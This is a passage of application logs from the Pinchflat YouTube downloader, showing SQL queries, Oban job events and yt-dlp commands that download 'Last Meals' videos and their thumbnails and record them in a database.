m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [27] 21:19:42.841 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:19:42.841 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:42.841 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:42.842 [debug] Running yt-dlp command for action: get_downloadable_status 21:19:42.842 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:42.842 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:42.842 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:42.842 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VTMUWlrv8vg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/82/4d/824d10277b5cb8bffb216408df78caebab6af082b1e1933c103ac5a0fb31c842.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:19:45.280 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VTMUWlrv8vg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/82/4d/824d10277b5cb8bffb216408df78caebab6af082b1e1933c103ac5a0fb31c842.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:19:45.280 [debug] Running yt-dlp command for action: download 21:19:45.280 [debug] QUERY OK source="settings" db=0.2ms idle=1222.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:45.280 [debug] QUERY OK source="settings" db=0.0ms idle=1223.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:45.280 [debug] QUERY OK source="settings" db=0.0ms idle=1223.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:45.281 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VTMUWlrv8vg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1f/90/1f904c6b6ce3bc4139f62619ab33d550c87f05926e682a63b4119d430d4fbe50.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:19:58.676 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.592 [info] {"source":"oban","duration":172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:09.599 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sM0pzP4280U --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/da/78/da78397015f465a390938ce624d21336e56e5f4060751911863eba29f926f94b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:20:09.610 [debug] Running yt-dlp command for action: download_thumbnail 21:20:09.610 [debug] QUERY OK source="settings" db=0.0ms idle=1553.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:09.610 [debug] QUERY OK source="settings" db=0.0ms idle=1553.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:09.610 [debug] QUERY OK source="settings" db=0.0ms idle=1146.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:09.611 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sM0pzP4280U --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/26/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/21/30/2130d372544fc656fd762b7cf84ef662b79e54e2989dd42ef53036f58b6132e0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:20:12.444 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sM0pzP4280U --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/26/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/21/30/2130d372544fc656fd762b7cf84ef662b79e54e2989dd42ef53036f58b6132e0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:20:12.444 [debug] QUERY OK db=0.0ms idle=1386.7ms begin [] 21:20:12.445 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:20:09Z], "/downloads/Last Meals/2024-11-19 Alan Tudyk Eats His Last Meal/Alan Tudyk Eats His Last Meal [sM0pzP4280U].mp4", ~U[2026-03-28 01:20:12Z], 26] 21:20:12.445 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/26/metadata.json.gz", "/config/metadata/media_items/26/thumbnail.jpg", 26, ~U[2026-03-28 01:20:12Z], ~U[2026-03-28 01:20:12Z]] 21:20:12.445 [debug] QUERY OK db=0.0ms commit [] 21:20:12.449 [debug] QUERY OK source="media_items" db=3.6ms idle=1388.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [408869836, ~U[2026-03-28 01:20:12Z], 26] 21:20:12.449 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:20:12.449 [info] {"args":{"id":26},"id":29,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":212266905,"event":"job:stop","queue_time":1749182338,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:20:12.449 [debug] QUERY OK source="tasks" db=0.1ms idle=1392.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:20:12.450 [debug] QUERY OK source="media_items" db=0.0ms idle=978.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [27] 21:20:12.455 [info] {"args":{"id":28},"id":31,"meta":{},"system_time":1774660812455827557,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:20:12.456 [debug] QUERY OK source="media_items" db=0.3ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [28] 21:20:12.456 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:20:12.456 [debug] QUERY OK source="tasks" db=0.4ms idle=6.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:20:12.456 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:20:12.456 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:20:12.457 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [27, 28] 21:20:12.457 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [28] 21:20:12.457 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [28] 21:20:12.457 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:20:12.458 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:12.458 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:12.458 [debug] Running yt-dlp command for action: get_downloadable_status 21:20:12.458 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:12.458 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:12.458 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:12.459 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MS-lV6bru3Q --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6b/2f/6b2f6da5bc3d9f6a241e54aae5f7cccf857f62393d2038480d6350c58c014df5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:20:15.216 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MS-lV6bru3Q --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6b/2f/6b2f6da5bc3d9f6a241e54aae5f7cccf857f62393d2038480d6350c58c014df5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:20:15.217 [debug] Running yt-dlp command for action: download 21:20:15.217 [debug] QUERY OK source="settings" db=0.0ms idle=1159.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:15.217 [debug] QUERY OK source="settings" db=0.0ms idle=1159.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:15.217 [debug] QUERY OK source="settings" db=0.0ms idle=1159.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:20:15.217 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MS-lV6bru3Q --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d9/94/d9946cc2aa5fdf1ec4a1e2330a3496d18c6ea1c4973b6eb2770f0caa502fb254.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:20:28.677 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:58.679 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.593 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:28.681 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:54.316 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VTMUWlrv8vg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1f/90/1f904c6b6ce3bc4139f62619ab33d550c87f05926e682a63b4119d430d4fbe50.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:21:54.327 [debug] Running yt-dlp command for action: download_thumbnail 21:21:54.327 [debug] QUERY OK source="settings" db=0.0ms idle=672.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:54.327 [debug] QUERY OK source="settings" db=0.0ms idle=270.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:54.328 [debug] QUERY OK source="settings" db=0.0ms idle=270.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:54.328 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VTMUWlrv8vg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/27/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a9/ae/a9ae9daf869c313a777cfb89eca666156820f5bcb9461c96e4a8b4fb3ea3a758.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:21:57.158 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VTMUWlrv8vg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/27/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a9/ae/a9ae9daf869c313a777cfb89eca666156820f5bcb9461c96e4a8b4fb3ea3a758.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:21:57.158 [debug] QUERY OK db=0.0ms idle=1101.2ms begin [] 21:21:57.159 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:21:54Z], "/downloads/Last Meals/2025-09-23 Ken Jeong Eats His Last Meal/Ken Jeong Eats His Last Meal [VTMUWlrv8vg].mp4", ~U[2026-03-28 01:21:57Z], 27] 21:21:57.160 [debug] QUERY OK source="media_metadata" db=0.6ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/27/metadata.json.gz", "/config/metadata/media_items/27/thumbnail.jpg", 27, ~U[2026-03-28 01:21:57Z], ~U[2026-03-28 01:21:57Z]] 21:21:57.160 [debug] QUERY OK db=0.1ms commit [] 21:21:57.161 [debug] QUERY OK source="media_items" db=0.9ms idle=1103.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [329183647, ~U[2026-03-28 01:21:57Z], 27] 21:21:57.161 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:21:57.162 [info] {"args":{"id":27},"id":30,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":134323248,"event":"job:stop","queue_time":1930838343,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:21:57.162 [debug] QUERY OK source="tasks" db=0.2ms idle=1104.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:21:57.162 [debug] QUERY OK source="media_items" db=0.1ms idle=503.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [28] 21:21:57.167 [info] {"args":{"id":29},"id":32,"meta":{},"system_time":1774660917167668833,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:21:57.167 [debug] QUERY OK source="media_items" db=0.1ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [29] 21:21:57.168 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:21:57.168 [debug] QUERY 